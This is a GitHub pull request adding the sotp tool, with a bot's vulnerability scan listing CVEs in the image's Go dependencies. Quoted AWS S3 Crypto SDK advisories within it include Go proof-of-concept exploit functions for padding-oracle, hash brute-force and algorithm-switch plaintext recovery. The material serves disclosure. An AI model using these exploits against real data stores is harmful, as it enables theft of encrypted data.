Added sotp

[nicholasdille]

No description provided.

[github-actions]

🔍 Vulnerabilities of ghcr.io/uniget-org/tools/sotp:1.0.0

📦 Image Reference ghcr.io/uniget-org/tools/sotp:1.0.0

digest	sha256:f030283930037b3aed870cb01b1d291b6c2ea8d4cde4ae295b08214dd64674a3
vulnerabilities
platform	linux/amd64
size	5.5 MB
packages	46

golang.org/x/net 0.0.0-20190724013045-ca1201d0de80 (golang) pkg:golang/golang.org/x/[email protected] Affected range <0.0.0-20220906165146-f3363e06e74c Fixed version 0.0.0-20220906165146-f3363e06e74c CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Description In net/http in Go before 1.18.6 and 1.19.x before 1.19.1, attackers can cause a denial of service because an HTTP/2 connection can hang during closing if shutdown were preempted by a fatal error. Affected range <0.0.0-20211209124913-491a49abca63 Fixed version 0.0.0-20211209124913-491a49abca63 Description An attacker can cause unbounded memory growth in servers accepting HTTP/2 requests. Loop with Unreachable Exit Condition ('Infinite Loop') Affected range <0.0.0-20210520170846-37e1c6afe023 Fixed version 0.0.0-20210520170846-37e1c6afe023 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Description Go through 1.15.12 and 1.16.x through 1.16.4 has a golang.org/x/net/html infinite loop via crafted ParseFragment input. Uncontrolled Resource Consumption Affected range <0.0.0-20190813141303-74dc4d7220e7 Fixed version 0.0.0-20190813141303-74dc4d7220e7 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Description Some HTTP/2 implementations are vulnerable to a reset flood, potentially leading to a denial of service. Servers that accept direct connections from untrusted clients could be remotely made to allocate an unlimited amount of memory, until the program crashes. The attacker opens a number of streams and sends an invalid request over each stream that should solicit a stream of RST_STREAM frames from the peer. Depending on how the peer queues the RST_STREAM frames, this can consume excess memory, CPU, or both. Specific Go Packages Affected golang.org/x/net/http2 Uncontrolled Resource Consumption Affected range <0.0.0-20190813141303-74dc4d7220e7 Fixed version 0.0.0-20190813141303-74dc4d7220e7 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Description Some HTTP/2 implementations are vulnerable to ping floods, potentially leading to a denial of service. The attacker sends continual pings to an HTTP/2 peer, causing the peer to build an internal queue of responses. Depending on how efficiently this data is queued, this can consume excess CPU, memory, or both. Specific Go Packages Affected golang.org/x/net/http2 Uncontrolled Recursion Affected range <0.0.0-20210428140749-89ef3d95e781 Fixed version 0.0.0-20210428140749-89ef3d95e781 CVSS Score 5.9 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H Description golang.org/x/net/http/httpguts in Go before 1.15.12 and 1.16.x before 1.16.4 allows remote attackers to cause a denial of service (panic) via a large header to ReadRequest or ReadResponse. Server, Transport, and Client can each be affected in some configurations.

golang.org/x/crypto 0.0.0-20190701094942-4def268fd1a4 (golang) pkg:golang/golang.org/x/[email protected] Use of a Broken or Risky Cryptographic Algorithm Affected range <0.0.0-20220314234659-1baeb1ce4c0b Fixed version 0.0.0-20220314234659-1baeb1ce4c0b CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Description The golang.org/x/crypto/ssh package before 0.0.0-20220314234659-1baeb1ce4c0b for Go allows an attacker to crash a server in certain circumstances involving AddHostKey. Affected range <0.0.0-20211202192323-5770296d904e Fixed version 0.0.0-20211202192323-5770296d904e CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Description The x/crypto/ssh package before 0.0.0-20211202192323-5770296d904e of golang.org/x/crypto allows an unauthenticated attacker to panic an SSH server. When using AES-GCM or ChaCha20Poly1305, consuming a malformed packet which contains an empty plaintext causes a panic. Improper Verification of Cryptographic Signature Affected range <0.0.0-20200220183623-bac4c82f6975 Fixed version 0.0.0-20200220183623-bac4c82f6975 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Description golang.org/x/crypto before v0.0.0-20200220183623-bac4c82f6975 for Go allows a panic during signature verification in the golang.org/x/crypto/ssh package. A client can attack an SSH server that accepts public keys. Also, a server can attack any SSH client. Improper Certificate Validation Affected range <0.0.0-20200124225646-8b5121be2f68 Fixed version 0.0.0-20200124225646-8b5121be2f68 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Description The Helm core maintainers have identified a high severity security vulnerability in Go's crypto package affecting all versions prior to Helm 2.16.8 and Helm 3.1.0. Thanks to @ravin9249 for identifying the vulnerability. Impact Go before 1.12.16 and 1.13.x before 1.13.7 (and the crypto/cryptobyte package before 0.0.0-20200124225646-8b5121be2f68 for Go) allows attacks on clients resulting in a panic via a malformed X.509 certificate. This may allow a remote attacker to cause a denial of service. Patches A patch to compile Helm against Go 1.14.4 has been provided for Helm 2 and is available in Helm 2.16.8. Helm 3.1.0 and newer are compiled against Go 1.13.7+. Workarounds No workaround is available. Users are urged to upgrade. References https://nvd.nist.gov/vuln/detail/CVE-2020-7919 fix(ci): use go 1.14 helm/helm#8288 For more information If you have any questions or comments about this advisory: Open an issue in the Helm repository For security-specific issues, email us at [email protected] NULL Pointer Dereference Affected range <0.0.0-20201216223049-8b5274cf687f Fixed version 0.0.0-20201216223049-8b5274cf687f CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Description A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.0-20201203163018-be400aefbc4c for Go allows remote attackers to cause a denial of service against SSH servers. An attacker can craft an authentication request message for the gssapi-with-mic method which will cause NewServerConn to panic via a nil pointer dereference if ServerConfig.GSSAPIWithMICConfig is nil.

golang.org/x/text 0.3.2 (golang) pkg:golang/golang.org/x/[email protected] Missing Release of Resource after Effective Lifetime Affected range <0.3.8 Fixed version 0.3.8 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Description The BCP 47 tag parser has quadratic time complexity due to inherent aspects of its design. Since the parser is, by design, exposed to untrusted user input, this can be leveraged to force a program to consume significant time parsing Accept-Language headers. The parser cannot be easily rewritten to fix this behavior for various reasons. Instead the solution implemented in this CL is to limit the total complexity of tags passed into ParseAcceptLanguage by limiting the number of dashes in the string to 1000. This should be more than enough for the majority of real world use cases, where the number of tags being sent is likely to be in the single digits. Specific Go Packages Affected golang.org/x/text/language Out-of-bounds Read Affected range <0.3.7 Fixed version 0.3.7 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Description golang.org/x/text/language in golang.org/x/text before 0.3.7 can panic with an out-of-bounds read during BCP 47 language tag parsing. Index calculation is mishandled. If parsing untrusted user input, this can be used as a vector for a denial-of-service attack. Uncontrolled Resource Consumption Affected range <0.3.3 Fixed version 0.3.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C Description Go version v0.3.3 of the x/text package fixes a vulnerability in encoding/unicode that could lead to the UTF-16 decoder entering an infinite loop, causing the program to crash or run out of memory. An attacker could provide a single byte to a UTF16 decoder instantiated with UseBOM or ExpectBOM to trigger an infinite loop if the String function on the Decoder is called, or the Decoder is passed to golang.org/x/text/transform.String. Specific Go Packages Affected golang.org/x/text/encoding/unicode golang.org/x/text/transform

gopkg.in/yaml.v2 2.2.2 (golang) pkg:golang/gopkg.in/[email protected] Uncontrolled Resource Consumption Affected range <2.2.4 Fixed version 2.2.4 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Description Parsing malicious or large YAML documents can consume excessive amounts of CPU or memory Excessive Platform Resource Consumption within a Loop Affected range <2.2.8 Fixed version 2.2.8 CVSS Score 6.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H Description The Kubernetes API Server component in versions 1.1-1.14, and versions prior to 1.15.10, 1.16.7 and 1.17.3 allows an authorized user who sends malicious YAML payloads to cause the kube-apiserver to consume excessive CPU cycles while parsing YAML. Affected range <2.2.3 Fixed version 2.2.3 CVSS Score 5.5 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H Description Due to unbounded alias chasing, a maliciously crafted YAML file can cause the system to consume significant system resources. If parsing user input, this may be used as a denial of service vector. OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <=v2.2.2 Fixed version v2.2.3 Description go-yaml is vulnerable to a Billion Laughs Attack.

google.golang.org/grpc 1.22.1 (golang) pkg:golang/google.golang.org/[email protected] Affected range <1.56.3 Fixed version 1.56.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Description Impact In affected releases of gRPC-Go, it is possible for an attacker to send HTTP/2 requests, cancel them, and send subsequent requests, which is valid by the HTTP/2 protocol, but would cause the gRPC-Go server to launch more concurrent method handlers than the configured maximum stream limit. Patches This vulnerability was addressed by #6703 and has been included in patch releases: 1.56.3, 1.57.1, 1.58.3. It is also included in the latest release, 1.59.0. Along with applying the patch, users should also ensure they are using the grpc.MaxConcurrentStreams server option to apply a limit to the server's resources used for any single connection. Workarounds None. References #6703 Uncontrolled Resource Consumption Affected range <1.56.3 Fixed version 1.56.3 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L Description HTTP/2 Rapid reset attack The HTTP/2 protocol allows clients to indicate to the server that a previous stream should be canceled by sending a RST_STREAM frame. The protocol does not require the client and server to coordinate the cancellation in any way, the client may do it unilaterally. The client may also assume that the cancellation will take effect immediately when the server receives the RST_STREAM frame, before any other data from that TCP connection is processed. Abuse of this feature is called a Rapid Reset attack because it relies on the ability for an endpoint to send a RST_STREAM frame immediately after sending a request frame, which makes the other endpoint start working and then rapidly resets the request. The request is canceled, but leaves the HTTP/2 connection open. The HTTP/2 Rapid Reset attack built on this capability is simple: The client opens a large number of streams at once as in the standard HTTP/2 attack, but rather than waiting for a response to each request stream from the server or proxy, the client cancels each request immediately. The ability to reset streams immediately allows each connection to have an indefinite number of requests in flight. By explicitly canceling the requests, the attacker never exceeds the limit on the number of concurrent open streams. The number of in-flight requests is no longer dependent on the round-trip time (RTT), but only on the available network bandwidth. In a typical HTTP/2 server implementation, the server will still have to do significant amounts of work for canceled requests, such as allocating new stream data structures, parsing the query and doing header decompression, and mapping the URL to a resource. For reverse proxy implementations, the request may be proxied to the backend server before the RST_STREAM frame is processed. The client on the other hand paid almost no costs for sending the requests. This creates an exploitable cost asymmetry between the server and the client. Multiple software artifacts implementing HTTP/2 are affected. This advisory was originally ingested from the swift-nio-http2 repo advisory and their original conent follows. swift-nio-http2 specific advisory swift-nio-http2 is vulnerable to a denial-of-service vulnerability in which a malicious client can create and then reset a large number of HTTP/2 streams in a short period of time. This causes swift-nio-http2 to commit to a large amount of expensive work which it then throws away, including creating entirely new Channels to serve the traffic. This can easily overwhelm an EventLoop and prevent it from making forward progress. swift-nio-http2 1.28 contains a remediation for this issue that applies reset counter using a sliding window. This constrains the number of stream resets that may occur in a given window of time. Clients violating this limit will have their connections torn down. This allows clients to continue to cancel streams for legitimate reasons, while constraining malicious actors. OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <1.56.3 Fixed version 1.56.3, 1.57.1, 1.58.3 Description Impact In affected releases of gRPC-Go, it is possible for an attacker to send HTTP/2 requests, cancel them, and send subsequent requests, which is valid by the HTTP/2 protocol, but would cause the gRPC-Go server to launch more concurrent method handlers than the configured maximum stream limit. Patches This vulnerability was addressed by #6703 and has been included in patch releases: 1.56.3, 1.57.1, 1.58.3. It is also included in the latest release, 1.59.0. Along with applying the patch, users should also ensure they are using the grpc.MaxConcurrentStreams server option to apply a limit to the server's resources used for any single connection. Workarounds None. References #6703

github.com/dgrijalva/jwt-go 3.2.0+incompatible (golang) pkg:golang/github.com/dgrijalva/[email protected]+incompatible Improper Authentication Affected range <=3.2.0 Fixed version Not Fixed CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Description jwt-go allows attackers to bypass intended access restrictions in situations with []string{} for m["aud"] (which is allowed by the specification). Because the type assertion fails, "" is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check. There is no patch available and users of jwt-go are advised to migrate to golang-jwt at version 3.2.1

github.com/aws/aws-sdk-go 1.23.13 (golang) pkg:golang/github.com/aws/[email protected] Use of a Broken or Risky Cryptographic Algorithm Affected range <1.34.0 Fixed version 1.34.0 CVSS Score 5.6 CVSS Vector CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N Description Summary The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher. Risk/Severity The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data. Impact This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well. V1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912. This exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) 128*length(plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. This issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM. Mitigation Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode. Proof of concept A Proof of concept is available in a separate github repository. This particular issue is described in padding_oracle_exploit.go: func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) { data, header, err := input.S3Mock.GetObjectDirect(bucket, key) if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" { return "", fmt.Errorf("Algorithm is %q, not CBC!", alg) } length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length")) padding := byte(len(data) - length) plaintext := make([]byte, length) for i := length - 1; i >= 0; i-- { newLength := 16 * (i/16 + 1) dataCopy := make([]byte, newLength) headerCopy := header.Clone() copy(dataCopy, data) // Set Padding newPadding := byte(newLength - i) for j := i + 1; j < newLength; j++ { var oldValue byte if j >= length { oldValue = padding } else { oldValue = plaintext[j] } dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy) if err != nil { return "", err } } // Guess for c := 0; c < 256; c++ { dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy) input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy) if input.Oracle(bucket, key+"guess") { plaintext[i] = byte(c) break } dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy) } } return string(plaintext), nil } Inadequate Encryption Strength Affected range <1.34.0 Fixed version 1.34.0 CVSS Score 4.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N Description The AWS S3 Crypto SDK sends an unencrypted hash of the plaintext alongside the ciphertext as a metadata field. This hash can be used to brute force the plaintext, if the hash is readable to the attacker. AWS now blocks this metadata field, but older SDK versions still send it. Affected range <1.34.0 Fixed version 1.34.0 Description Summary The golang AWS S3 Crypto SDK was impacted by an issue that can result in loss of confidentiality. An attacker with read access to an encrypted S3 bucket was able to recover the plaintext without accessing the encryption key. Specific Go Packages Affected github.com/aws/aws-sdk-go/service/s3/s3crypto Risk/Severity The vulnerability poses insider risks/privilege escalation risks, circumventing KMS controls for stored data. Impact The issue has been fully mitigated by AWS as of Aug. 5th by disallowing the header in question. The S3 crypto library tries to store an unencrypted hash of the plaintext alongside the ciphertext as a metadata field. This hash can be used to brute force the plaintext in an offline attack, if the hash is readable to the attacker. In order to be impacted by this issue, the attacker has to be able to guess the plaintext as a whole. The attack is theoretically valid if the plaintext entropy is below the key size, i.e. if it is easier to brute force the plaintext instead of the key itself, but practically feasible only for short plaintexts or plaintexts otherwise accessible to the attacker in order to create a rainbow table. The issue has been fixed server-side by AWS as of Aug 5th, by blocking the related metadata field. No S3 objects are affected anymore. Mitigation The header in question is no longer served by AWS, making this attack fully mitigated as of Aug. 5th. Proof of concept A Proof of concept is available in a separate github repository, this particular issue can be found at here: func HashExploit(bucket string, key string, input *OfflineAttackInput) (string, error) { _, header, err := input.S3Mock.GetObjectDirect(bucket, key) length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length")) plaintextMd5 := header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Md5") blocks := length / 16 possiblePlaintextNum := 1 segNum := len(input.PossiblePlaintextSegments) for i := 0; i < blocks; i++ { possiblePlaintextNum *= segNum } for i := 0; i < possiblePlaintextNum; i++ { w := i guess := "" for j := 0; j < blocks; j++ { guess += input.PossiblePlaintextSegments[w%segNum] w /= segNum } guessMd5 := md5.Sum([]byte(guess)) if plaintextMd5 == base64.StdEncoding.EncodeToString(guessMd5[:]) { return guess, nil } } return "", fmt.Errorf("No plaintext found!") } The PoC will only work on old versions of the library, as the hash has been removed from being calculated as well. Use of a Broken or Risky Cryptographic Algorithm Affected range <1.34.0 Fixed version 1.34.0 CVSS Score 2.5 CVSS Vector CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N Description Summary The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the GCM option was chosen as content cipher. Risk/Severity The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data. Impact This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well. V1 prior to 1.34.0 of the S3 crypto SDK does not authenticate the algorithm parameters for the data encryption key. An attacker with write access to the bucket can use this in order to change the encryption algorithm of an object in the bucket, which can lead to problems depending on the supported algorithms. For example, a switch from AES-GCM to AES-CTR in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. By default, the only available algorithms in the SDK are AES-GCM and AES-CBC. Switching the algorithm from AES-GCM to AES-CBC can be used as way to reconstruct the plaintext through an oracle endpoint revealing decryption failures, by brute forcing 16 byte chunks of the plaintext. Note that the plaintext needs to have some known structure for this to work, as a uniform random 16 byte string would be the same as a 128 bit encryption key, which is considered cryptographically safe. The attack works by taking a 16 byte AES-GCM encrypted block guessing 16 bytes of plaintext, constructing forgery that pretends to be PKCS5 padded AES-CBC, using the ciphertext and the plaintext guess and that will decrypt to a valid message if the guess was correct. To understand this attack, we have to take a closer look at both AES-GCM and AES-CBC: AES-GCM encrypts using a variant of CTR mode, i.e. C_i = AES-Enc(CB_i) ^ M_i. AES-CBC on the other hand decrypts via M_i = AES-Dec(C_i) ^ C_{i-1}, where C_{-1} = IV. The padding oracle can tell us if, after switching to CBC mode, the plaintext recovered is padded with a valid PKCS5 padding. Since AES-Dec(C_i ^ M_i) = CB_i, if we set IV' = CB_i ^ 0x10*[16], where 0x10*[16] is the byte 0x10 repeated 16 times, and C_0' = C_i ^ M_i' the resulting one block message (IV', C_0') will have valid PKCS5 padding if our guess M_i' for M_i was correct, since the decrypted message consists of 16 bytes of value 0x10, the PKCS5 padded empty string. Note however, that an incorrect guess might also result in a valid padding, if the AES decryption result randomly happens to end in 0x01, 0x0202, or a longer valid padding. In order to ensure that the guess was indeed correct, a second check using IV'' = IV' ^ (0x00*[15] || 0x11) with the same ciphertext block has to be performed. This will decrypt to 15 bytes of value 0x10 and one byte of value 0x01 if our initial guess was correct, producing a valid padding. On an incorrect guess, this second ciphertext forgery will have an invalid padding with a probability of 1:2^128, as one can easily see. This issue is fixed in V2 of the API, by using the KMS+context key wrapping scheme for new files, authenticating the algorithm. Old files encrypted with the KMS key wrapping scheme remain vulnerable until they are reencrypted with the new scheme. Mitigation Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with GCM mode and use the KMS key wrapping option. Proof of concept A Proof of concept is available in a separate github repository. This particular issue is described in combined_oracle_exploit.go: func CombinedOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) { data, header, err := input.S3Mock.GetObjectDirect(bucket, key) if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/GCM/NoPadding" { return "", fmt.Errorf("Algorithm is %q, not GCM!", alg) } gcmIv, err := base64.StdEncoding.DecodeString(header.Get("X-Amz-Meta-X-Amz-Iv")) if len(gcmIv) != 12 { return "", fmt.Errorf("GCM IV is %d bytes, not 12", len(gcmIv)) } fullIv := make([]byte, 16) confirmIv := make([]byte, 16) for i := 0; i < 12; i++ { fullIv[i] = gcmIv[i] ^ 0x10 confirmIv[i] = gcmIv[i] ^ 0x10 } // Set i to the block we want to attempt to decrypt counter := i + 2 for j := 15; j >= 12; j-- { v := byte(counter % 256) fullIv[j] = 0x10 ^ v confirmIv[j] = 0x10 ^ v counter /= 256 } confirmIv[15] ^= 0x11 fullIvEnc := base64.StdEncoding.EncodeToString(fullIv) confirmIvEnc := base64.StdEncoding.EncodeToString(confirmIv) success := false // Set plaintextGuess to the guess for the plaintext of this block newData := []byte(plaintextGuess) for j := 0; j < 16; j++ { newData[j] ^= data[16*i+j] } newHeader := header.Clone() newHeader.Set("X-Amz-Meta-X-Amz-Cek-Alg", "AES/CBC/PKCS5Padding") newHeader.Set("X-Amz-Meta-X-Amz-Iv", fullIvEnc) newHeader.Set("X-Amz-Meta-X-Amz-Unencrypted-Content-Length", "16") input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader) if input.Oracle(bucket, key+"guess") { newHeader.Set("X-Amz-Meta-X-Amz-Iv", confirmIvEnc) input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader) if input.Oracle(bucket, key+"guess") { return plaintextGuess, nil } } return "", fmt.Errorf("Block %d could not be decrypted", i) } OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <1.34.0 Fixed version 1.34.0 Description Improper Neutralization in github.com/aws/aws-sdk-go.

golang.org/x/sys 0.0.0-20190624142023-c5567b49c5d0 (golang) pkg:golang/golang.org/x/[email protected] Improper Privilege Management Affected range <0.0.0-20220412211240-33da011f77ad Fixed version 0.0.0-20220412211240-33da011f77ad CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Description Go before 1.17.10 and 1.18.x before 1.18.2 has Incorrect Privilege Reporting in syscall. When called with a non-zero flags parameter, the Faccessat function could incorrectly report that a file is accessible. Specific Go Packages Affected golang.org/x/sys/unix

go.mozilla.org/sops/v3 3.5.0 (golang) pkg:golang/go.mozilla.org/sops/[email protected] Affected range <3.7.1 Fixed version 3.7.1 Description Impact Windows users using the sops direct editor option (sops file.yaml) can have a local executable named either vi, vim, or nano executed if running sops from cmd.exe This attack is only viable if an attacker is able to place a malicious binary within the directory you are running sops from. As well, this attack will only work when using cmd.exe or the Windows C library SearchPath function. This is a result of these Windows tools including . within their PATH by default. If you are using sops within untrusted directories on Windows via cmd.exe, please upgrade immediately As well, if you have . within your default $PATH, please upgrade immediately. More information can be found on the official Go blog: https://blog.golang.org/path-security Patches The problem has been resolved in v3.7.1 Now, if Windows users using cmd.exe run into this issue, a warning message will be printed: vim resolves to executable in current directory (.\vim.exe) References https://blog.golang.org/path-security For more information If you have any questions or comments about this advisory: Open a discussion in sops OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <3.7.1 Fixed version 3.7.1 Description Impact Windows users using the sops direct editor option (sops file.yaml) can have a local executable named either vi, vim, or nano executed if running sops from cmd.exe This attack is only viable if an attacker is able to place a malicious binary within the directory you are running sops from. As well, this attack will only work when using cmd.exe or the Windows C library SearchPath function. This is a result of these Windows tools including . within their PATH by default. If you are using sops within untrusted directories on Windows via cmd.exe, please upgrade immediately As well, if you have . within your default $PATH, please upgrade immediately. More information can be found on the official Go blog: https://blog.golang.org/path-security Patches The problem has been resolved in v3.7.1 Now, if Windows users using cmd.exe run into this issue, a warning message will be printed: vim resolves to executable in current directory (.\vim.exe) References https://blog.golang.org/path-security For more information If you have any questions or comments about this advisory: Open a discussion in sops

[github-actions]

Attempting automerge. See https://github.com/uniget-org/tools/actions/runs/8141400047.

[github-actions]

PR is blocked and can not be merged. See https://github.com/uniget-org/tools/actions/runs/8141400047.